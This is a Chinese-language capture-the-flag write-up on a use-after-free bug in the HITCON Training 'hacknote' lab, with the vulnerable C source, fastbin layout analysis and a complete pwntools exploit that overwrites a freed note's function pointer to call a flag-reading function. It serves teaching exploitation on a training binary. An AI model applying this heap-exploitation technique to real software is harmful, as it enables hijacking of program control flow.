本文系pwn2web原創,轉載請說明出處
UAF 漏洞,英文原名use after free,該漏洞簡潔的可以概括為
- 分配一塊內存
- free該內存但不回收,構成懸垂指針
- 再次構造分配同樣大小的內存,按照malloc分配原則將會是將第一次分配的內存給這塊新的
- 對新的內存進行use
一 前言
首先我們以一道題來介紹一下UAF,這里選用hitcon training lab10 作為例子,源碼太多,占篇幅,試題、源碼詳情請見的GitHubhttps://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10 中的c語言文件。
這里先直接附上exp,網上大部分exp都差不多,但是有一些疑點我得說一下:
- magic函數地址咋來的
- 非預期解:創建1個note也能getshell
1 from pwn import * 2 3 r = process('./hacknote') 4 5 6 def addnote(size, content): 7 r.recvuntil(":") 8 r.sendline("1") 9 r.recvuntil(":") 10 r.sendline(str(size)) 11 r.recvuntil(":") 12 r.sendline(content) 13 14 15 def delnote(idx): 16 r.recvuntil(":") 17 r.sendline("2") 18 r.recvuntil(":") 19 r.sendline(str(idx)) 20 21 22 def printnote(idx): 23 r.recvuntil(":") 24 r.sendline("3") 25 r.recvuntil(":") 26 r.sendline(str(idx)) 27 28 29 #gdb.attach(r) 30 magic = 0x08048986 31 32 addnote(32, "aaaa") # add note 0 33 addnote(32, "ddaa") # add note 1 34 35 delnote(0) # delete note 0 36 delnote(1) # delete note 1 37 38 addnote(8, p32(magic)) # add note 2 39 40 printnote(0) # print note 0 41 42 r.interactive()
1、我看了大部分博客,都沒有給出magic地址從哪來。。。給爺整懵了。。無中生magic是了。。。
俺這里有個法子弄到這個地址:
看到pdisas這個神奇的反匯編指令了咩,第一行地址就是magic的開始地址,這里我也嘗試了一下下斷點到magic函數,即b magic,然后你看到,這個斷點是在上面匯編顯示的地址的第四行,我們來看看其他的函數:add_note
所以你可以看到,gdb中的下斷點一般是下在開棧的地址。
總之,最起碼我們找到一個很好的方法來尋找地址對不。
2、再就是為啥子要預先創建兩個note?我先附上創建一個note的exp和運行結果,下面我會細細討論
二 分析
下面我們再來一步步分析:
按這篇文章開頭的幾個步驟來尋找
0x00 結構體定義如下:
1 struct note { 2 void (*printnote)(); 3 char *content ; 4 };
不寫入content的初始大小為16字節:
為什么是16字節,這里有個字節對齊的原因,void對應4字節,char按道理對應1字節,為什么是4字節?因為void,字節對齊,各位請谷歌自行查詢。
4(PUT指針)+4(content指針)就是8,再加上8字節chunk頭部,就是16字節。
0x01 首先是分配內存,整個程序具備這個功能的就是add_note:
1 void add_note(){ 2 int i ; 3 char buf[8]; 4 int size ; 5 if(count > 5){ 6 puts("Full"); 7 return ; 8 } 9 for(i = 0 ; i < 5 ; i ++){ 10 if(!notelist[i]){ 11 notelist[i] = (struct note*)malloc(sizeof(struct note)); 12 if(!notelist[i]){ 13 puts("Alloca Error"); 14 exit(-1); 15 } 16 notelist[i]->printnote = print_note_content; 17 printf("Note size :"); 18 read(0,buf,8); 19 size = atoi(buf); 20 notelist[i]->content = (char *)malloc(size); 21 if(!notelist[i]->content){ 22 puts("Alloca Error"); 23 exit(-1); 24 } 25 printf("Content :"); 26 read(0,notelist[i]->content,size); 27 puts("Success !"); 28 count++; 29 break; 30 } 31 } 32 }
1、從第9行可以得知只能創建5個note
2、之后按照notelist的結構體大小創建note,再按照輸入的大小為content申請內存,總體結構正如ctf wiki上的結構圖
+-----------------+
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
上一部分我們說了該大小為16字節,堆的最小處理單元為chunk,那么根據堆分配規則,為fastbin chunk。什么是fastbin?我之后博文會去介紹
0x02 釋放內存,整個代碼中del_note具備釋放內存功能
1 void del_note(){ 2 char buf[4]; 3 int idx ; 4 printf("Index :"); 5 read(0,buf,4); 6 idx = atoi(buf); 7 if(idx < 0 || idx >= count){ 8 puts("Out of bound!"); 9 _exit(0); 10 } 11 if(notelist[idx]){ 12 free(notelist[idx]->content); 13 free(notelist[idx]); 14 puts("Success"); 15 } 16 }
也就是第12、13行,先free content,再free notelist的頭。
0x03 可利用執行函數magic
void magic(){ system("cat /home/hacknote/flag"); }
0x04 利用
因為我們要把第一次分配的內存釋放然后第二次分配同樣大小的內存進行復用,那么可以構造利用鏈:
add_note()-> add_note()-> delete_note()-> delete_note()-> add_note()
換句話說,分配和釋放將按照此結構進行
malloc(0x20)-> malloc(0x20)-> free(0x8)-> free(0x20)-> free(0x8)-> free(0x20)-> malloc(0x8)-> malloc(0x8)
那么我們來介紹一下這個到底是做撒子
我們利用的是fastbin回收的不合並性,我要將put函數指針指向magic函數的地址。
fastbin如上圖,0x10表示16字節,0x18表示24字節,0x20表示32字節,以此類推。每次分配完釋放回收后將會放在對應的大小行上。
現在我知道的有:
1、notelist 的每個初始大小為16字節,對應fastbin的第一行,即0x10
2、那么如果我們要劫持put函數執行流,那么我們就需要構造一個8字節的content,這樣加上頭才能變成16字節,才有可能分配到put
3、我們可控的地方只有content部分,可以控制content部分的大小和值,因此我們只能在content中輸入magic函數地址的值
因此我們設想:
1、如果我們構造一個note0,content大小為32,然后,free,再者繼續創建一個note1,content大小為8(為了劫持put,須與出是頭部分配內存相同),但是note1的頭大小也是8,那么回收note0后fastbin結構就變成
- 0x10: note0_head
- 0x18: 0x0
- 0x20: note0_content
- 。。。。。。
然后note1_head就直接分配到了note0_head ,我尋思着note1_head也有put,那么直接用就好了噻,於是我就把note1_content改為magic函數地址,然后print_note(1),也能成功。
注意:然而,使用note1的put僅僅只是將指針指向magic函數,note1_head分配到了釋放的內存,但是note1_content沒有分配到釋放的內存,因此其未對釋放后再分配的內存進行修改,是直接利用,而不是釋放再利用(UAF)
3、那么創建1個雖然行,但是不能算是UAF,那就用兩個咯。因為fastbin是FILO,先進后出嘛,形象一點,看下圖,頭是note0_head,后面接上note1_head,然后取出來的時候從尾巴開始取,就是先取note1_head
- 0x10: note1_head -> note0_head
- 0x18: 0x0
- 0x20: 0x0
- ............
我們構造兩個note再釋放后,fastbin如下(content的大小我設為24):
- 0x10: note1_head -> note0_head
- 0x18: note1_content -> note0_head
- 0x20: 0x0
- ...........
緊接着我們創建note2,因為note2_head也要分配0x10行的內存塊嘛,所以,在note2_head分配完(取出)note1_head后,還剩下note0_head, 那么note2_content大小設置為8,就可以分配到note0_head啦
三 總結
正確的此題做題流程為:靜態審計源碼,構造思路,動態調試找地址,編寫exp
UAF漏洞:利用內存分配的特性操作分配的已釋放使用過的內存塊